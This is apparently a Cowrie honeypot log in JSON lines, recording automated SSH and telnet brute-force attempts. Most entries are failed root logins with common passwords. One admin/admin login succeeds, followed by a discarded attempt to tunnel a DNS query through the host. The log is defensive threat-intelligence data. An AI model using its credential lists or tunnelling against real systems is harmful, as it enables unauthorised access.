{"eventid":"cowrie.login.failed","username":"root","password":"snoopy","message":"login attempt [root/snoopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.631075Z","src_ip":"87.251.79.125","session":"4810d955356f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:30.919399Z","src_ip":"37.143.61.84","session":"eec1ddbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:31.706606Z","src_ip":"87.251.79.125","session":"4810d955356f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.93896412849426,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:31.904368Z","src_ip":"192.119.13.58","session":"cb7c4468af38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:32.038756Z","src_ip":"37.143.61.84","session":"eec1ddbef5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":41548,"dst_ip":"159.203.135.109","dst_port":22,"session":"f949fcc2db9c","protocol":"ssh","message":"New connection: 92.207.4.157:41548 (159.203.135.109:22) [session: f949fcc2db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.288811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.294019Z","src_ip":"92.207.4.157","session":"f949fcc2db9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.401196Z","src_ip":"92.207.4.157","session":"f949fcc2db9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.860353Z","src_ip":"92.207.4.157","session":"f949fcc2db9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":38612,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62350c1da68","protocol":"ssh","message":"New connection: 35.225.56.202:38612 (10.17.0.5:22) [session: d62350c1da68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.883924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.889826Z","src_ip":"35.225.56.202","session":"d62350c1da68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:34.933987Z","src_ip":"35.225.56.202","session":"d62350c1da68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch123","message":"login attempt [root/arch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:35.110676Z","src_ip":"35.225.56.202","session":"d62350c1da68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c192d5c7db6a","protocol":"telnet","message":"New connection: 192.119.13.58:48630 (10.17.0.5:23) [session: c192d5c7db6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:35.198300Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:35.982156Z","src_ip":"92.207.4.157","session":"f949fcc2db9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"7482d5a76d2a","protocol":"telnet","message":"New connection: 192.119.13.58:52350 (10.17.0.5:23) [session: 7482d5a76d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:36.104002Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:36.152329Z","src_ip":"35.225.56.202","session":"d62350c1da68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":48169,"dst_ip":"10.17.0.5","dst_port":22,"session":"1274bef2d51b","protocol":"ssh","message":"New connection: 186.122.177.140:48169 (10.17.0.5:22) [session: 1274bef2d51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:40.533114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:40.538440Z","src_ip":"186.122.177.140","session":"1274bef2d51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:40.718260Z","src_ip":"186.122.177.140","session":"1274bef2d51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43900,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a9f03a40a3","protocol":"telnet","message":"New connection: 192.119.13.58:43900 (10.17.0.5:23) [session: b4a9f03a40a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:41.140723Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"llllllll","message":"login attempt [root/llllllll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:41.491981Z","src_ip":"186.122.177.140","session":"1274bef2d51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:42.731884Z","src_ip":"186.122.177.140","session":"1274bef2d51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":45064,"dst_ip":"159.203.135.109","dst_port":22,"session":"69f7c3458e0e","protocol":"ssh","message":"New connection: 49.51.241.230:45064 (159.203.135.109:22) [session: 69f7c3458e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:45.984051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:45.990448Z","src_ip":"49.51.241.230","session":"69f7c3458e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:46.061206Z","src_ip":"49.51.241.230","session":"69f7c3458e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucio123","message":"login attempt [root/lucio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:46.366568Z","src_ip":"49.51.241.230","session":"69f7c3458e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:47.437475Z","src_ip":"49.51.241.230","session":"69f7c3458e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":32832,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a1179024a09","protocol":"ssh","message":"New connection: 193.233.48.169:32832 (10.17.0.5:22) [session: 4a1179024a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:48.338760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:48.343545Z","src_ip":"193.233.48.169","session":"4a1179024a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:48.465489Z","src_ip":"193.233.48.169","session":"4a1179024a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lb123456.","message":"login attempt [root/lb123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:48.986469Z","src_ip":"193.233.48.169","session":"4a1179024a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:50.112373Z","src_ip":"193.233.48.169","session":"4a1179024a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c52687f0bb7","protocol":"telnet","message":"New connection: 192.119.13.58:57386 (10.17.0.5:23) [session: 5c52687f0bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:51.598899Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":58264,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f545456b999","protocol":"ssh","message":"New connection: 59.126.224.134:58264 (10.17.0.5:22) [session: 8f545456b999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:53.582709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:53.587692Z","src_ip":"59.126.224.134","session":"8f545456b999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:53.838547Z","src_ip":"59.126.224.134","session":"8f545456b999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"166299859aa2","protocol":"ssh","message":"New connection: 87.251.64.176:51682 (10.17.0.5:22) [session: 166299859aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.393091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.399400Z","src_ip":"87.251.64.176","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.496407Z","src_ip":"87.251.64.176","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jorge","message":"login attempt [root/jorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.771631Z","src_ip":"59.126.224.134","session":"8f545456b999","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.788613Z","src_ip":"87.251.64.176","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.888175Z","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:54.987321Z","src_ip":"87.251.64.176","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.087051Z","src_ip":"87.251.64.176","session":"166299859aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":35990,"dst_ip":"159.203.135.109","dst_port":22,"session":"5664a7dfdbb3","protocol":"ssh","message":"New connection: 77.105.130.18:35990 (159.203.135.109:22) [session: 5664a7dfdbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.112292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:48:55.119838Z","src_ip":"77.105.130.18","session":"5664a7dfdbb3","protocol":"ssh"}
